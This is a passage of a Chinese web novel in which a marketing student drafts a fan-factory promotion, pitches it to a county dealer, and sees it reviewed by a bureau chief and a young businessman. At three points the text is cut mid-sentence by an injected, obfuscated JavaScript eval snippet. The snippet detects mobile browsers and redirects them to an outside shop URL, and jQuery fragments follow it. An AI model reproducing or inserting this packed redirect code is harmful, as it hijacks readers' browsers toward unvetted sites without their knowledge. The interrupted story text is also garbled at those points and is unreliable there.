许晚柠见对方脸色跟调色盘似的来回变幻，正了正神色，“叔叔，要不咱们还是先谈正事吧。” “好，你说。”钱四海已经准备好，如果对方让他进货，该怎么拒绝了。 许晚柠环顾四周，笑了下，“在此之前，我想先了解一下，今年您在我们厂进的货，好卖吗？” 钱四海一听，面露诧异，随即大吐苦水，“今年不知道为什么，销量不如去年好。” 一句话像是打开了话匣子，一茬接一茬，“往年华荣厂老款电风扇在乡镇卖得好，今年销量少了一大半，就连新款在县城也卖不动了。” “其它牌子呢？”许晚柠在店里看到了不下三个牌子，有省城电器厂的，也有民营小厂的，还有南边的牌子。 如此看来，这位钱老板路很广啊。 钱四海面露尴尬，“其它牌子跟往年差不多，特别是长江牌落地扇，因为价格便宜，更受老百姓喜欢。不瞒你说，我今年进了华荣不少货，都在仓库堆着呢，压根卖不动。” 许晚柠听懂对方的言外之意，眸光一闪，随即笑道，“钱叔，我明白您的顾虑，我来也不是要您再进货的。” 钱四海糊涂了，不卖货，那她干嘛来了？他性子急，索性直接问，“那你大老远跑一趟，找我谈什么生意？” 许晚柠没有直接回答，而是反问道，“钱叔，我在大学学的市场营销，您知道这个专业学来能做什么吗？” 钱四海摇头，他还真不知道。 她继续说，“市场营销主要教我们，如何让顾客心甘情愿地买我的东西。您在华荣厂进的电扇卖不动，没关系，我来给您想办法。” “你有什么办法？” 钱四海眼眸微亮，省城大学可是他们省最好的大学，那是一般人能考上的吗？再说她学的那个什么市场营销，让顾客心甘情愿花钱，听起来可真玄乎，没准她真有办法呢？ 许晚柠迎着对方殷切的目光，说了一句。 “此法为‘夏日送凉·华荣风扇惠民促销活动’。” 啥？ 15. 许厂长紧张了 促销？ 是想让他降价吧？这算什么办法？等夏天快过去，实在卖不动，他们自然会降啊！ 见对方似是胸有成竹，钱四海又懵了，“闺女，你就别卖关子了，到底怎么个促销法？” 许晚柠直言道，“我所说的促销跟您平时卖东西时讨价还价不一样。促销想要达到预期效果，首先要先预热，让更多人知道我们的活动，知道在哪参加，如何参加。” “其次，我们需要设置足够吸引人的奖品，比如一等奖一名，最新款华荣牌落地扇一台，二等奖三名，所购商品半价优惠，三等奖十名，七折优惠，另外参与奖若干，实物奖品或者九五折优惠。” “顾客当下购买现场抽奖，当场兑现，您觉得怎么样？” 这是她提交给厂里营销计划书的简化版，没有华荣厂包揽活动资金，没有完善的售后服务，单薄的可怜。 她来这里，跟他谈这个，只是想试试，PlanB能不能行得通。 钱四海先肯定，“听起来不错。” 后又仔细想了想，苦笑道，“只是想要搞这一场活动，我得花不少钱吧，简直赔本赚吆喝。” 她听出来了，他意向不大，虽然早有心理准备，但她还是有些失望的。她明白，做生意最忌赔钱，哪怕货积压在库房暂时卖不出去，可不到最后，谁想赔钱卖？ 许晚柠快速调节好心情，计划随之调整，“钱叔，您的顾虑我明白，如果想少花钱搞促销，也不是不行。” 迎着钱四海期待的目光，她说，“您可以争取厂家支持，比如奖品由厂家提供，是不是能省下一大笔？” 钱四海眼前一亮，对啊，要是奖品都由厂家提供，他应该赔不了，没准还能小赚一笔。 而且，活动搞大点，库房那一堆货也能跟着清一清。若是放到明年，出了新款，那些老款怕是半价都没人要了。 这么一想，这点子确实不错，可她爸不是华荣厂厂长吗？他搞活动，让厂家报销，她这算不算胳膊肘往外拐？ 许晚柠看对方表情，时而兴奋，时而皱眉，猜出他的想法，“钱叔，想要得到厂家支持，可没那么容易，那也是有条件的。” “什么条件？”有条件才对嘛！他就知道天上没掉馅饼的事！ “活动前期需要预热，大概5-7天，活动时间持续一周，如今正值销售旺季，电风扇肯定热销，若是活动火爆，导致库存不足，您再到我们厂进货，我们要求货款当天现结。” “若您之前还有没结清的货款，我们要求一并结算清楚。” 钱四海一听，毫不犹豫地应下，“没问题。” 本来他在华荣厂进货，为了关照他外甥，都是月底结算。如今不过是提前结清，只要厂家能包了活动奖品，让他清库存，小赚一笔，不就现货现结嘛，他全力配合，大不了他以后少进点。 许晚柠心里有了底，继续加码，敦敦善诱，“另外，只您一家参与可不够，保城周边强县，您有认识的经销商吗？如果您联合多家经销商一起跟厂里申请，领导们才会重视，不然，我们为啥赔钱做活动？” 也对，只不过多家联合，活动可不小啊，他感叹，“我滴个乖乖，你这是要搞个大的啊！” 许晚柠不假思索的承认了，“既然要搞，咱们就要搞大一点！争取一炮打响您四海家电的知名度。不然活动达不到预期效果，厂家因此受损，我爸跟上级领导不好交代。” “你让我想想。”事有点大，虽然活动对他有利，但是他没搞过，担心最终效果不理想。另外，对方还要求他游说其他经销商，他心里有点没底，得好好考虑考虑。 许晚柠笑着起身，“当然可以，不过再过几天就是初伏，天越来越热了。这段时间电风扇的需求会与日俱增，时间紧迫。钱叔，您得抓紧时间做决定了。” “方便的话，明天下午五点之前，我给您致电。” 一天的时间考虑，足够了。 “行！” - 许晚柠谈完事，婉拒对方请吃饭的好意，离开四海家电。她没有急着回家，而是在市场转了转。 下午四点，阳光依旧炽热，市场没什么人。 她神情专注，街道两旁的店面一一掠进眼底，服装鞋帽，日用百货，零食干果，玩具以及廉价饰品，应有尽有，款式比之百货大楼差上不少。 当然，百货大楼和批发市场所面对的消费群体不同，不可一概而论。 她转了一圈，发现批发市场一共有四个入口，东、西门临着马路，往来拉货、卸货比较方便。从北门出去是条小巷，南面则是正门，比邻小广场，若是搞活动可以选在广场上，地方够大。 看过之后，许晚柠离开前往汽车站，准备回市里，再晚，她怕没车了。 - 下午三点十分。 许国盛和刘科长骑着自行车来到轻工局。 锁好车，许国盛擦擦脑门上的汗，拎着公文包，招呼老刘一声，“走吧。” 刘科长闷头跟上。 一进大厅，一股清凉迎面而来。 许国盛轻呼一口气，略微整理仪容着装，迈步上楼。 自从接任代厂长，他来这里交过几次材料，也和领导一起开过会。不过领导公务繁忙，他只简单寒暄过几句，对这里不算太熟。 这次他要单独见领导，还要报备这么超前的促销计划。 说实话，他有点紧张。 刘科长也紧张，许国盛好歹来过几次，他第一次来，还是见局长，没扭头就走已经很给老许面子了。 要不是李科长一直反对，其实老许带他来最合适。 两人心事重重来到二楼走廊尽头，局长办公室门前。 许国盛捏紧公文包，脸上挂着适宜的微笑，站在门口办公桌前，“罗秘书，我是华荣厂的许国盛，之前来过电话，找局长报备厂里促销的事。” 罗秘书连忙起身，“许厂长，您好，帮您约的三点半，时间还没到，您先坐这边等一会儿吧。” “好，谢谢。”许国盛和刘 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17470281|201440||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 科长坐在一旁等。 过了一会儿，许国盛抬手看了眼时间，三点三十五分，办公室的门还没开。他从兜里掏出红塔山，递过一根，“罗秘书，局长这是有客人？” “许厂长您太客气了。” 罗秘书客套一句，接过烟，顺手往耳朵上一夹，“对，局长在会客，应该快结束了。” 说完之后，他又提醒，“许厂长，局长四点还有个会，一会儿您简单汇报就成。” “好，麻烦了。” 没几分钟，办公室的门开了。 魏局长和两个年轻人相继走出来。 许国盛噌地站了起来，几步上前伸出手，“魏局长，我来汇报工作。” 刘科长反应也不慢，紧跟着起身，站在他身侧。 许国盛先跟魏局长握过手，随即侧身简单介绍，“这位是我们厂财务科刘科长，和我一起过来汇报厂里情况。” 刘科长伸出手，“魏局长，您好，我是刘青山，您叫我小刘就好。” 魏局长嘴角含笑跟两人分别握手，然后看向许国盛，“小许，你来得正好。” “来给你介绍下，这两位分别是裴总和谭总，刚接手咱们啤酒厂，年轻有为，以后厂里有什么事，你们可以多交流交流。” 随后他和旁边两个年轻人说，“这位是隔壁华荣风扇厂的许厂长，你们两家厂子离得近，以后多互相照应。” 原来他们就是买下啤酒厂的人啊，还真年轻。 华荣厂，姓许。裴云洲眸光一闪，主动伸出手，“许厂长，您好，我是裴云洲，叫我名字就好。” “谭斌。”谭斌不甘落后，跟着打招呼。 许国盛分别和两人握手，感叹，“后生可畏啊，裴总、谭总，有时间多交流。” 裴云洲眼神微亮，“一定。” 谭斌气闷，话都让他抢了。这位厂长姓许，没准是许婉宁亲戚呢，要不是场合不对，他都想直接跟他打听打听。 魏局长见双方寒暄得差不多了，开口，“云洲，我这还有客，就不留你们了，改天你跟小谭来家里坐坐，关于眼下经济局势，我们好好聊聊。” 裴云洲应下，“好，改天我们一定上门叨扰。” 谭斌紧跟着点头。 魏局长笑着拍拍他手臂，“小罗，帮我送送。” “好的，局长。” 罗秘书陪同裴云洲和谭斌一起下楼。 上车前，裴云洲给罗秘书递烟，状似不经意的问，“罗秘书，许厂长今天过来是局里有什么安排吗？” 罗秘书接过烟，也没多想，“说是厂里最近销量下滑，想搞促销活动，问问局里意见。” 促销活动？裴云洲若有所思，询问，“今晚魏局长有饭局吗？” 涉及领导行程，罗秘书含糊了一句，“今晚应该没安排，局长一般正点下班。” 裴云洲点头，“好的，谢谢。” 罗秘书礼貌微笑，“裴总，您太客气了，二位慢走。” “留步。” 16. 书房交谈 车上，谭斌坐在副驾，一声不吭。 没一会儿，他冷不丁来了句，“云洲，你不对劲。” 裴云洲瞥他一眼，没理他。 “你这样，更不对劲了。” 谭斌摸着下巴，自言自语，“你没觉得你对许厂长过于热情了么？而且你还特意问罗秘书，许厂长来这的目的。” 话音刚落，他猛地凑过来，眼神微眯，“说！你想干什么？” 裴云洲抬手挡住对方大脸，将其推回去，“别捣乱，开车呢。” 谭斌双手环胸，“切！心虚了是不是，让我想想。你是不是猜到这个许厂长跟许婉宁有关系？所以想打探一下？” 裴云洲无奈，“你想哪去了？没听魏局长说，让我们跟隔壁华荣厂搞好关系？我打听打听对方动向不是很正常么。” “再说，罗秘书提到华荣厂想搞促销，也许咱们可以搭便车，合作一次。” 听起来有理有据，可谭斌还是觉得哪里不对。 他眉头紧锁，随即想到什么，“华荣厂想搞促销，局里能不能同意还不一定呢。还没成，你就想合作了？这可不像你。” 闻言，裴云洲眼都不眨，“谁说不成就不能合作了。”再说，就算局里不同意，他不能推一把吗？ 他倒要看看怎么个促销法，值不值得他出手。 - 魏局长招呼许国盛二人跟他进来，边走边说，“小许，难得你来局里一趟，不容易啊。” 许国盛脸颊微红，“是我来得少了，以后一定多来局里汇报。” 魏局长知道他以前搞生产的，人老实本分，只是目前风扇厂这个情况。 他心里叹了口气，拍拍他的肩，“你啊，能想明白就好，闷在厂里闭门造车可不成，有什么难处多跟局里通通气。” “您说的是。” 许国盛见魏局长坐下，这才跟刘科长坐到对面沙发上。 办事员不动声色地进来给大家倒茶水，随后关门离开。 魏局长端起搪瓷缸，示意，“喝茶，都别拘着，有什么事说吧。” 许国盛身子微微前倾，“局长，我们今天过来，一是想跟您汇报一下厂里近期生产、销售情况，二是有些想法，想让局里给把把关。” 汇报工作是次要，重点是第二句吧？ 魏局长点点他，直截了当地问，“这是遇到难题了？听小罗说，你们厂最近销量下滑，想搞个营销活动，具体打算怎么推进，有章法吗？” 许国盛从公文包里拿出一打材料递给他，“局长，这是营销计划书和会议纪要。” 待魏局长接过资料，许国盛斟酌开口，“我们做活动的目的主要是因为厂里积压了不少老款风扇，再加上销量不好，所以厂里打算联合经销商搞促销，清库存。” “活动大概流程是这样，前期先预热一周，进行宣传。我们设置丰厚的奖品，只要购买华荣牌风扇就能参与抽奖，吸引更多人关注，参加活动。” “另外，我们增设以旧换新项目，家里有不用的旧电扇，不论好坏，都可以拿过来抵扣一部分货款。旧风扇我们会拉回厂里，好的电机、零件留下，其他分类卖掉。” “还有售后服务，之前我们厂也提供维修等服务，但是不够规范。所以想趁着这次活动，把售后一并抓起来，用更完善的服务，赢得老百姓的心。同时，打响厂子名声，让咱们的品牌更硬气。” 魏局长边听边看，一开始他没打算细看，只是手里这份计划书不仅字写得漂亮，条目陈列也清晰，不禁多看了几眼。 听到许国盛提到几个新词，他若有所思，随即念道，“以旧换新，售后升级，用服务赢得老百姓青睐。” 说到这，他顿了顿，抬头意味深长地看向许国盛，“你们厂这是来了高人啊。” 许国盛连忙摆手，“没有，就是厂里小年轻瞎琢磨的。” “这水平可不像一般人写的。” 魏局长快速翻看后面的会议纪要，点点上面唯一没有职务的名字，“是这个叫许晚柠的人写的？姓许，她跟你什么关系？” 许国盛苦笑，没想到这么快就被局长发现了，只好老实交代，“是晚柠写的，她是我女儿，省城大学市场营销专业大三学生。” “哦？”居然是个学生，一个还没大学毕业的学生能写出这样的营销计划，还真是令人意外。 他还想问什么，忽然听见有人在敲门。 “进来。” 罗秘书进门后轻声提醒，“局长，会议时间快到了，各部门负责人已经到齐。” “知道了。” 魏局长看向许国盛，“小许，我这边还有个会要开，你们先回去吧。事情我大概了解了，局里先开会讨论一下，给出意见，改天我再叫你过来细聊。” 许国盛忙道，“好的，局长，那我们就不打扰您工作了。” 待两人走后，魏局长带上笔记本和搪瓷缸准备去开会。临走之前，他鬼使神差地带上了那份营销计划书。 一场会议开了将近两个小时方才结束。 魏局长沉着一张脸回到办公室。 只见他面容疲惫，背着手，站在窗前沉默不语。 罗秘书轻手轻脚地进来给领导换茶水。 魏局长听到动静，偏头看了眼，又抬起手腕看了看表，“小罗，快六点了，你收拾收拾准备下班吧。” “好的，局长。”罗秘书赶忙应了一声。 出门之前，他轻声说，“局长，之前我送裴总他们下楼，裴总向我打听许厂长今天来意，还问过您今晚有没有饭局。” “哦？”魏局长挑眉，回头看他，“你怎么回的。” 罗秘书赶紧交代，“我只知道许厂长过来，是因为促销活动的事。关于您的行程，也只提了一句，您没有饭局一般会正常下班。” “知道了，你出去吧。” 罗秘书小心翼翼地关上门。 六点半，魏局长收拾东西准备回家，临走前，他想了想，装上那份计划书，拎着公文包大步离开。 - 下午六点，许晚柠头重脚轻地回到家。 家里静悄悄的，她以为爸妈都没回来，整个人瘫坐在沙发上，闭眼休息。 不消片刻，她睁开眼，低头一闻，身上除了汗臭味，还有在中巴车上沾上的各种怪味，让她整个人腌入味了。 不行，她得赶紧冲个澡换身衣服。 她正准备回屋拿换洗衣服，发现书房的门半开着，推开一看，父亲正在专心练字。 听到门响，许国盛写完最后一笔，抬起头来，见到来人，眉眼不自觉地柔和几分，“柠柠回来了。” “嗯！爸，您今天下班挺早啊。”这才六点多，以往父亲都是七点多回来。 “下午我和老刘去了趟局里，回来都快六点了，厂里没啥事，索性直接回家了。”许国盛放下毛笔，随口说道。 许晚柠凑过来，瞧了瞧父亲刚写的字，蹙眉，“爸，局里一行，是不是不太顺利？” “你看出来了？” 许晚柠抬手指了指其中几个字，“您看这里，撇捺、钩挑略显急躁、生硬，很明显您心情烦躁、不平静。” 许国盛叹了口气，“其实 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17470282|201440||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 也不算不顺利，我还没来得及细说，局长有会要开，就先让我们回来了。不过走之前，他跟我说局里要先开会讨论，让我等通知。” “那要等到什么时候？”许晚柠一听也着急了，机会稍纵即逝，活动若不提前准备起来，想要搞好，得多花多少功夫？ 许国盛瞧了眼女儿，摸摸她的头，“别急，如果明天局长没联系我，我后天再去局里一趟。” 许晚柠抬起头，神色认真，“如果后天局里还是不能给出意见呢？爸，咱们得提前做最坏的打算。” “你想干什么？”许国盛眉头微挑，心也跟着提了起来。 他这才注意到女儿衬衫上不知从哪蹭上几道灰啧，蹙眉，“你今天上哪去了？” 许晚柠嘿嘿一笑，坦白，“我去了趟徐县。” “你去徐县干什么？跟昨天一样，调查市场？” 许晚柠摸着下巴，“你要这么理解，也不是不可以。” 话还没说完，她后脑勺一痛，“啊！爸！你又打我头！” “谁让你卖关子的，还不赶紧老实交代！” 许国盛手快，打完有些心虚，连忙伸手安抚一下，“我都没使劲。” 许晚柠躲开，眼神控诉，“爸，您年轻时候搞生产的，手劲有多大您不知道吗？我当初没考上华清，绝对有您一份功劳。” “胡说八道，明明是你早恋，成绩下滑，还赖我身上了。”说完，许国盛后悔了，坏了，女儿最不喜欢他们拿早恋说事了。 听到早恋这个词，许晚柠神情恍惚，脑海中浮现一个清瘦的身影，转瞬即逝。 她皱着眉，更正，“爸，什么早恋，没影的事，您别瞎说。还有，您别想转移话题，以后不许打我头。” “好好好，我以后绝对不打，行了吧。”许国盛拿女儿一点办法都没有。 许晚柠听父亲服了软，这才饶过他，继续说，“我去徐县找经销商，探探口风。” 徐县的经销商？ 许国盛瞬间想到一个名字，“钱四海？” “没错，上午厂务会结束后，您说最后要局里把关，我当时就做好了最坏打算。如果局里不允许咱们这么大张旗鼓地搞，为了厂子生存，我们还能做点什么？” “当时我就想，如果厂里不能带头，那经销商行不行？于是，我找嘉林帮忙推荐合适人选，他给了我钱四海的联系方式，我下午没事，索性坐车过去当面谈一谈。” 许国盛听完，神色复杂地看着女儿，“你胆子真大。” 谁能想到，仅仅因为他提及营销计划需要面对重重关卡，她能想到这么多，而且立刻付诸行动去尝试。 比她老子强！ 许国盛刚想拍拍女儿头，以作鼓励，瞬间收到女儿警告的眼神。 他表情讪讪，轻轻拍拍她的肩，“做得不错，钱老板怎么说？” “他说要考虑。” 说到这，许晚柠有点不好意思，“另外，我鼓动他联合多家经销商，以现货现结为筹码，跟厂里申请报销活动奖品，他有些犹豫，估计是没做过，怕活动达不到预期效果，白忙活一场。” “当然，他有顾虑也很正常，如果没有厂家参与，活动规模可能要比预想中要小很多，加上前期他要投入部分活动资金，他一时犹豫也可以理解。” 许国盛看着愁眉不展的女儿，宽慰，“别多想，你已经做得很好了。” 许晚柠无语，到底是谁多想啊，桌上的字可都是铁证！ 她刚想反驳，书房门口响起一道疑惑的女声， “你们父女俩在这叽叽咕咕的说什么呢？” 17. 云洲有对象了吗？ “没什么！” 许晚柠回了一句，随后跟父亲使眼色，“爸，您继续练字吧，我去冲个澡！” 说完，她朝母亲点点头，大步离开。 许国盛看着女儿背影，摇头笑笑，重新拿起毛笔。落笔之前，他余光看到妻子沉着张脸走进来，顺手关上门。 许国盛顿住，不禁皱眉，“大白天的，你关门干什么？” 赵秋红走过来，低声说，“你没发现女儿这两天有些不对劲么？” 许国盛意外，“哪不对劲？我看挺好的啊，你想多了吧。” 赵秋红嘴角苦涩，“从昨天到现在，她一声妈都没叫过。你说，她是不是叛逆期到了？” “叛逆期？她都二十了，青春期早过了。”不过，妻子从来不说没影的事，两天没叫妈，确实有些过分了。 他目光怀疑地看向妻子，“你是不是哪惹她不高兴了？” 赵秋红气得拍了丈夫胳膊一下，“我无缘无故惹她干嘛？” 话音刚落，她想到昨晚和今天早上说了她两句，不会因为这个生气了吧？ 还真有可能！这孩子真是越来越娇气了！ 她脸上一会儿青一会儿白，想了又想，嘱咐，“一会儿吃了饭，你帮我问问，她到底咋回事。” “这要我怎么问？竟会给我出难题。” “你问不问？” 许国盛举手投降，“我问，行了吧。哎对了，柠柠出去跑了一天，估计早饿了，你给她做点她爱吃的，哄哄她啊。” 赵秋红瞪他一眼，边往外走边抱怨，“一天天就知道支使人干活，回家也不知道做饭，天天就等着我伺候你们爷俩。” 类似的唠叨，许国盛听过无数次，早免疫了。 他沉下心继续练字，一撇一捺，抚平他浮躁的内心。 晚饭是绿豆稀饭、拍黄瓜和酸辣土豆丝。 许国盛去厨房端菜，小声问，“怎么才做了两个菜？不是说让你做点闺女爱吃的吗？” 赵秋红瞥他一眼，“这三样，闺女哪个不爱吃？” 许国盛一噎，好像都挺爱吃的。 许晚柠刚洗完澡，头发还没干，随意披在脑后。她见爸妈端着饭菜出来，顺手从冰箱里取出咸菜瓶。 许国盛以为给他拿的，笑着说，“还是我闺女懂我。” “那可不！”许晚柠笑笑，没说自己想吃，打开盖放在桌上，谁吃谁夹。 赵秋红看着父女俩互动，心中酸涩难言，随后装作若无其事的样子，开始没话找话，“哎，老许，你今天怎么回来这么早？” “厂里没啥事，索性提前回来了。” 工作上遇到困难，他不喜欢在家里说，这也是上辈子许晚柠不了解厂里实际情况的原因。 饭吃到一半，赵秋红盯着女儿看了好一会儿，小心翼翼地问道，“柠柠，你昨天跟谁一块出去了？我听你周姨说，有人看到你坐在一个男的自行车后边，有说有笑的，你谈朋友了？” 许晚柠夹菜的手顿了下，随后恢复如常，“没谈，是爸厂里的职工，我有事去市中心，载了我一段，这人爸也认识。” 赵秋红随即看向丈夫，眼神疑惑。 “嗯对，我认识，是销售科小张吧。” 许国盛见女儿点头，不知想到什么，蹙眉，“你们骑自行车去的？天这么热，下回坐公交车去，既方便又凉快。” 这年头，年轻男女走得太近，容易被人说闲话，还是保持距离的好。 许晚柠听懂了父亲言外之意，随口应了声，“知道了，下次我注意。” 好么，本来想借这话跟女儿谈谈心的，结果啥话都让他们父女俩说了。 赵秋红一口气噎在那，不上不下的，饭也没吃多少。 - 晚上八点，轻工局家属院。 “魏则明，你到底有没有认真听我讲话？” “啊，怎么了？” 姜珍丽怒视丈夫，“一晚上你魂不守舍的，往门口看好几次了，你等谁呢？” “没谁，”魏局长心虚，抬起报纸挡住半张脸，“你刚才说什么了，我看报太专注，没听见。” 姜珍丽差点气笑了，“看报太专注？你拿的是上个月的报纸，你没发现吗？” 上个月的？魏局长看了眼日期，6月28日。 “咳咳。” 他一脸尴尬，没好意思再找借口，放下报纸，正襟危坐，“好了，你说吧，我不看了。” 若不是为了女儿，姜珍丽真想扭头回屋去。 她深吸一口气，缓了缓神色，“我问你，云洲有对象了没？” 原来是问这个，魏局长心里松了口气，“没有，他刚回国不到一年，谈什么对象。” 姜珍丽心中一喜，随即皱起眉头，“他有二十五六了吧？年纪也不小了，家里没催？”不会有什么隐疾吧？ “过了年二十六，怎么可能不催？我还开玩笑问过他，他说不着急。你别看他平时不声不响的，实际主意大着呢。”魏局长眼里满是欣赏。 姜珍丽就是看中裴云洲有主见，不然也不会动心思，她轻声问，“你觉得咱家薇薇怎么样？” 她女儿魏薇，去年师范毕业，如今在实验小学当老师，年纪比裴云洲小三岁，不论是年纪、家庭背景，都挺合适。 魏局长想了想，叹了口气，“不行，薇薇心气高，被我们惯得有点娇气，一点委屈都受不了。” “云洲性格沉稳内敛，又出国留学读到博士，见识不一般。薇薇从小学习不好，初中还留级一年，中专都是我托关系上的。两人不论是从学历、阅历来看，都不太合适。” “再说，云洲他爸出了名的偏心小儿子，他后妈也不是个好相与的，薇薇这性子嫁过去，一准吃亏。” 姜珍丽一听，心里顿时凉了半截，“不是说不在一起住么？” “是不在一起住，难道逢年过节就不打交道了 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17470283|201440||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ？再偏心，那也是他亲爸！” 魏局长抬手，语气严肃，“这事你别想了，云洲家庭情况太复杂，薇薇性格单纯，硬凑在一起对谁也不好。再说，姚老师就这么一个亲外孙，我能坑他吗？” 姜珍丽瞪他一眼，“有你这么当爸的吗？竟埋汰自己闺女！” “我那是有自知之明，好了，给薇薇找对象这事不急，她才22岁，刚参加工作没多久，我还想再留她两年。” 有些话他没跟妻子说，云洲太重感情，在处理父子关系上，少了一分魄力。他需要一个内心强大的伴侣，能够护着他，让他懂得爱从来不是退让。 话说到这，魏局长抬手看了眼腕表，八点十分，都这个点了，估计人不会来了吧。 他叹了口气，起身，“没其他事，我去书房查点资料。” 也许是他想多了。 - 姜珍丽坐在沙发上思前想后，最终歇了心思。 云洲多好一孩子，可惜跟她女儿没缘分。 思及此，她突然想给女儿打个电话，问问她这个星期回不回家住。 她刚拿起话筒，门外响起敲门声。 “谁啊！” “姜姨，是我，云洲。” 姜珍丽听到有些熟悉的声音，快步走过去，打开门，见真的是他，一脸惊喜，“云洲，你怎么来了，快进来。” 裴云洲边进屋边说，“我来看看您和魏叔，很抱歉，这么晚过来。” 姜珍丽笑得合不拢嘴，“没事，我和你魏叔睡得晚。再说，你过来，我们高兴还来不及呢。” 她这才注意到裴云洲手里还拎着东西，嗔怪，“你说你人来了就好，还带什么东西，先放这，回头你再拿回去啊。” 姜珍丽暗叹云洲识礼数，心里越发觉得可惜，面上却是半点不显。 裴云洲放下东西，没接她话茬，反而问道，“姜姨，魏叔呢？” “他在书房，门关着，估计没听见外面动静。”说完，她连忙喊道，“老魏，你快出来，看看谁来了！” 书房里，魏局长正在看华荣厂交上来的营销计划书，就连会议纪要都翻看了两遍，越看越觉得可惜。 下午会议上，他临时拿出计划书，让其他部门负责人传阅，大部分人不认同，觉得方案过于冒进，风险太大，出了事局里担不起这个责。 哪怕他心里再认同也只能暂时搁置，这也是他在会议结束后，心情不佳的原因。 如今，市场变了，他们仍在原地止步不前，不敢冒一丝风险。他担心，华荣厂像隔壁啤酒厂一样陷入绝境。 如果华荣厂倒了，三百多名职工下岗，他这个局长在上级面前如何抬得起头？ 就在这时，妻子带着笑意的催促声传进来。 魏局长心中一动，连忙起身出来，待看到裴云洲站在门口，脸上掠过一丝笑意，“云洲，你怎么来了！” 裴云洲唇角微扬，“我来找您下棋。” 18. 深夜谈心 “你还真找我下棋来了？” 魏局长眸中带着几分疑惑。 裴云洲手里捏着一枚黑子，落下之后，抬眼看他，“魏叔，您再不专心，白子就要被我吃光了。” 魏局长低头看了一眼局势，只见棋盘之上，黑子已然占尽上风，白子被层层围困，处处受制，眼看就要被吞吃殆尽。 他抬手指着他，好笑道，“你小子，大晚上专门跑我这儿来欺负我？” 裴云洲浅浅一笑，十分坦然，“切磋而已，怎么算欺负呢？” 眼看要输，魏局长直接耍赖，“年纪大了，精力不如你们年轻人，改天咱们再接着下。” 为免被晚辈揪着不放，索性他谈起正事。 他来到书桌前，抬手点了点上面放着的文件，“这是许厂长下午交过来的，说是为了清库存，厂里想出来的营销计划书。我拿到会上讨论，你猜怎么着？” 没等他回答，他叹了口气，“大部分人都不认同，说什么的都有，什么步子迈得太大，想法过于理想化，风险高之类的。” “可他们也不想想，华荣厂如今什么境况，厂里货款收不回来，还欠了材料商和银行一屁股债，这个月更是连工资都发不出来！这跟几个月以前的啤酒厂有什么区别？” “如果局里仍不知变通，任由其发展下去，我担心华荣厂迟早会步啤酒厂的后尘。到时谁也救不了它！” 魏局长一提起这事就来气，他缓了缓神色，看向他这个优秀的晚辈，“云洲，你学经济的，又在外留学几年，见识不一般，你帮我参谋参谋这份计划书怎么样？” 裴云洲走过来，扫了眼标题，瞬间移开目光，“魏叔，华荣厂的营销计划书，我看不合适吧？” 虽然双方生产的产品不同，没有直接利益冲突，但华荣厂是国营单位，对方递交到局里的材料，哪怕只是一份还未通过的计划书，也不是他能随便看的。 “你还挺懂规矩！” 他见对方迟疑，隐晦的说，“这又不是在局里，随意一点。再说，你作为晚辈，帮长辈支支招，怎么了？” 裴云洲这才拿起计划书翻看起来。 “你这小子。”魏局长摇头失笑，这孩子为人处世比他还要谨慎老练，不愧是他看好的后辈。 他端起搪瓷缸喝口水，润润嗓子，待看到对方翻过几页，一脸期待的看向他，“如何？” 裴云洲眼底闪过一丝欣赏，毫不吝啬夸赞，“这份计划思路清晰、考虑周全，可行性很强，照着推进，效果一定不会太差。” 他顿了顿，斟酌开口，“只不过，想要推进这份计划，可不是一件容易的事。这需要负责人执行力强，能完美落实计划。另外，他还要有魄力，不怕麻烦，更不怕得罪人。” “当然，还有最重要的一点，活动中难免有意外发生，他要懂得变通，临危不乱。总之，方方面面都要考虑周全。” 魏局长颔首，“没错，计划再好也要遇上有能力的负责人，才能真正落地见效，不然终究是纸上谈兵。” 他眉头紧皱，“只是这个人选，不好找啊！”这也是他一直犹豫，没下定决心的原因。 他在华荣厂领导班子里寻摸了一圈，没发现合适人选，总不能他这个局长放下工作，去给他们主持活动吧？ 裴云洲在魏局长沉思时，翻到后面的会议纪要，快速看过之后，点点上面的名字，“魏叔，人选这不已经有了吗？” 魏局长抬眼看去，直接否决，“许晚柠？她不行，她大学还没毕业，在厂里没有任何职务，谁会听她的？单凭她厂长女儿的身份，根本压不住厂里那群老油条。” 原来她是许厂长的女儿，还是一名在校大学生。 裴云洲眼底闪过一丝笑意，正色道，“可以给她安排一个职务，比如营销活动临时负责人，活动结束后，职务自动解除。” 魏局长想了想，还真可行，“还是你们年轻人脑子活。” 不过在此之前，他得见见对方，实际考察一下再做决定。 想通之后，魏局长释然一笑，“云洲，你帮我解决了一个大难题啊。” 裴云洲笑笑，并不居功，“魏叔，是您慧眼如炬，本身就看好这份计划，愿意给华荣厂一个机会，不然您不会犹豫不决。” 